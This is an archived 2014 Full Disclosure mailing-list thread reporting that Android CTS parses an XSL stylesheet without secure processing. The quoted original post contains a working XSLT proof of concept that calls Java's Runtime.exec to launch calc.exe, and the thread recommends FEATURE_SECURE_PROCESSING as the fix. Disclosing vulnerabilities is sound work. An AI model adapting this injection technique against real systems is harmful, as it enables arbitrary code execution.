lists.openwall.net | lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC | |
Open Source and information security mailing list archives
| ||
|
Message-ID: <CAGGN9efWYTCWzBg1gtzAEsE13oSq2SAe+9kGch3d_kUXP2coMg@mail.gmail.com> Date: Mon, 20 Oct 2014 08:29:16 +1000 From: Lord Tuskington <l.tuskington@...il.com> To: Full Disclosure List <fulldisclosure@...lists.org>, oss-security@...ts.openwall.com Subject: Re: [FD] CVE request: remote code execution in Android CTS I disagree with Nick Kralevich's response. An attacker who has the ability to locally modify an XSL file should not be able to leverage this to achieve code execution. This crosses a trust boundary. As for why I didn't report this to security@...roid.com, when Google starts paying corporate tax instead of dodging it, I will report issues privately. Lord Tuskington Chief Financial Taxdodger Google On Sun, Oct 19, 2014 at 7:28 PM, Lord Tuskington <l.tuskington@...il.com> wrote: > CTS parses api-coverage.xsl without providing the > FEATURE_SECURE_PROCESSING option. See lines 60-67 of > cts/tools/cts-api-coverage/src/com/android/cts/apicoverage/HtmlReport.java: > > InputStream xsl = > CtsApiCoverage.class.getResourceAsStream("/api-coverage.xsl"); > StreamSource xslSource = new StreamSource(xsl); > TransformerFactory factory = TransformerFactory.newInstance(); > Transformer transformer = factory.newTransformer(xslSource); > > StreamSource xmlSource = new StreamSource(xmlIn); > StreamResult result = new StreamResult(out); > transformer.transform(xmlSource, result); > > An attacker who is able to control api-coverage.xsl could inject arbitrary > code into it, which would be executed. For example: > > <xsl:stylesheet version="1.0" > xmlns:xsl="http://www.w3.org/1999/XSL/Transform" > xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" > xmlns:str="http://xml.apache.org/xalan/java/java.lang.String" > > > <xsl:output method="text"/> > <xsl:template match="/"> > <xsl:variable name="Command"><![CDATA[calc.exe]]></xsl:variable> > <xsl:variable name="RT" select="rt:getRuntime()"/> > <xsl:variable name="proc" select="rt:exec($RT, $Command)"/> > <xsl:text>Process: </xsl:text><xsl:value-of select="$proc"/> > </xsl:template> > </xsl:stylesheet> > > Would pop a calc. This crosses a trust boundary because an attacker could > provide an XSL stylesheet that, for example, has enhanced visual layout. A > person consuming that stylesheet would assume it could not possibly contain > arbitrary code that would be executed, as it's just a stylesheet. The XSL > extensions to execute code should be disabled by passing > FEATURE_SECURE_PROCESSING. > > Regards > > Lord Tuskington > > Chief Financial Pinniped > > TuskCorp > _______________________________________________ Sent through the Full Disclosure mailing list http://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
Powered by blists - more mailing lists